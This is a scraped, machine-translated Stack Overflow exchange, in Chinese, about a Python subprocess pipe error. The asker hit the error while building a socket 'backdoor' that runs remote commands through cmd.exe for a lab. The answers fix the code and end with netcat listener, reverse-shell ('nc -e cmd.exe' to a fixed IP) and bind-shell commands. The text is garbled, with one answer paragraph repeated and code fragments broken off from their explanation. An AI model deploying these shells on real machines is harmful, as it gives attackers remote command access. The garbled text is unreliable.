python子进程stdin.write字符串错误22无效参数

python子进程stdin.write字符串错误22无效参数,python,Python,我有两个python文件与套接字通信。当我将数据传递到stdin.write时,出现错误22无效参数。代码 a="C:\python27\Tools" proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) data = s.recv(1024) #

我有两个python文件与套接字通信。当我将数据传递到stdin.write时,出现错误22无效参数。代码

a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder
更新 基本上我想在网络实验室的本地主机上创建一个类似于系统后门的东西。这是为了教育目的。我有两台机器。1) 正在运行ubuntu,我的服务器代码如下:

import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1)                 #wait for client connection.

c, addr = s.accept()     # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')

while True:
    command_from_user = raw_input("Give your command: ")  #read command from the user
    if command_from_user == 'quit': break
    c.send(command_from_user)  #sending the command to client
c.close()                # Close the connection
将此代码用于客户端:

错误在客户端文件中

回溯(最近一次调用):proc.stdin.write(“%s\n”%data)值中第50行的文件“ex1client2.py”错误:对关闭的文件执行I/O操作

基本上,我希望从服务器到客户机运行串行命令,并将输出返回到服务器。第一个命令被执行,第二个命令我得到这个错误消息。
导致我使用此解决方案的主要问题是chanhing目录命令。当我执行cd“路径”时,它不会改变。

问题是您根本没有打开子流程,因此管道正在关闭,因此您试图写入不存在的内容。(我很确定POSIX保证您会在这里得到一个
EPIPE
,但在Windows上,
子流程
首先没有使用POSIX管道,因此无法保证您会得到什么。但您肯定会得到一些错误。)

发生这种情况的原因是您试图打开一个名为“\n””的程序(如换行符,而不是反斜杠和n)。我认为这在Windows上是不合法的。而且,即使是这样,我也非常怀疑您的路径上是否有名为
'\n.exe'
或类似的可执行文件

如果您没有使用
shell=True
,这将更容易看到。在这种情况下,
Popen
本身将引发一个异常(一个
enoint
),它将告诉您类似于:

OSError: [Errno 2] No such file or directory: '
'
…这会更容易理解

通常,除非您确实需要一些shell功能,否则不应该使用
shell=True
。而且很少需要shell功能,还需要手动读取和写入管道


如果您没有重用
数据
来表示两个完全不同的东西(要运行的程序的名称,以及要从套接字传递到管道的数据),那么也就不会那么混乱了。

问题是您根本没有打开子流程,因此管道正在关闭,所以你试图写一些不存在的东西。(我很确定POSIX保证您会在这里得到一个
EPIPE
,但在Windows上,
子流程
首先没有使用POSIX管道,因此无法保证您会得到什么。但您肯定会得到一些错误。)

发生这种情况的原因是您试图打开一个名为“\n””的程序(如换行符,而不是反斜杠和n)。我认为这在Windows上是不合法的。而且,即使是这样,我也非常怀疑您的路径上是否有名为
'\n.exe'
或类似的可执行文件

如果您没有使用
shell=True
,这将更容易看到。在这种情况下,
Popen
本身将引发一个异常(一个
enoint
),它将告诉您类似于:

OSError: [Errno 2] No such file or directory: '
'
…这会更容易理解

通常,除非您确实需要一些shell功能,否则不应该使用
shell=True
。而且很少需要shell功能,还需要手动读取和写入管道


如果您没有重用
数据
来表示两个完全不同的东西(要运行的程序的名称,以及要从套接字传递到管道的数据),那么也就不会那么混乱了。

您的新代码有一个不同的问题,这就是为什么它会引发类似但不同的错误。让我们看看关键部分:

while True:
    data = s.recv(1024)
    if (data == "") or (data=="quit"): 
        break
    proc.stdin.write('%s\n' % data)
    proc.stdin.flush()
    remainder = proc.communicate()[0]
    print remainder
    stdoutput=proc.stdout.read() + proc.stderr.read()
问题是,每次通过此列表,您都在调用
proc.communicate()
。如前所述,这将:

将数据发送到stdin。从stdout和stderr读取数据,直到到达文件末尾。等待进程终止

因此,在这次调用之后,子进程已经退出,管道都关闭了。但是下一次通过循环时,无论如何都要尝试写入其输入管道。由于该管道已关闭,因此您将得到
ValueError:I/O操作(对已关闭的文件执行)
,这正是它所说的

如果要在单独的
cmd.exe
shell实例中运行每个命令,必须将
proc=subprocess.Popen('cmd.exe',…)
位移动到循环中


另一方面,如果要将命令逐个发送到同一个shell,则不能调用
communicate
;您必须写入
stdin
,从
stdout
stderr
读取,直到您知道它们已经完成,然后在循环中为下一次打开所有内容

第一个命令的缺点非常明显:如果在第一个命令中执行
cd\Users\me\Documents
,然后在第二个命令中执行
dir
,它们在完全不同的shell中运行,您最终将获得
C:\python27\Tools
的目录列表,而不是
C:\Users\me\Documents

但第二种方法的缺点也很明显:您需要编写代码,以某种方式知道每个命令何时完成(可能是因为您再次收到提示?),或者可以同时阻止
proc.stdout
proc.stderr
s
。(并且不会意外锁定管道。)而且您甚至不能将它们全部放入
选择中,因为管道不是插座。因此,唯一的实际选择是为
stdout
创建一个读线程,为
stderr
创建另一个读线程,或者获取一个异步线程
while True:
    data = s.recv(1024)
f = s.makefile()
while True:
    data = f.readline()
with s.makefile() as f:
    s.close()
    for data in f:
nc -l -p 1234
nc -e cmd.exe 192.168.2.7 1234
nc -k -l -p 1234 -e cmd.exe
nc windows.machine.address 1234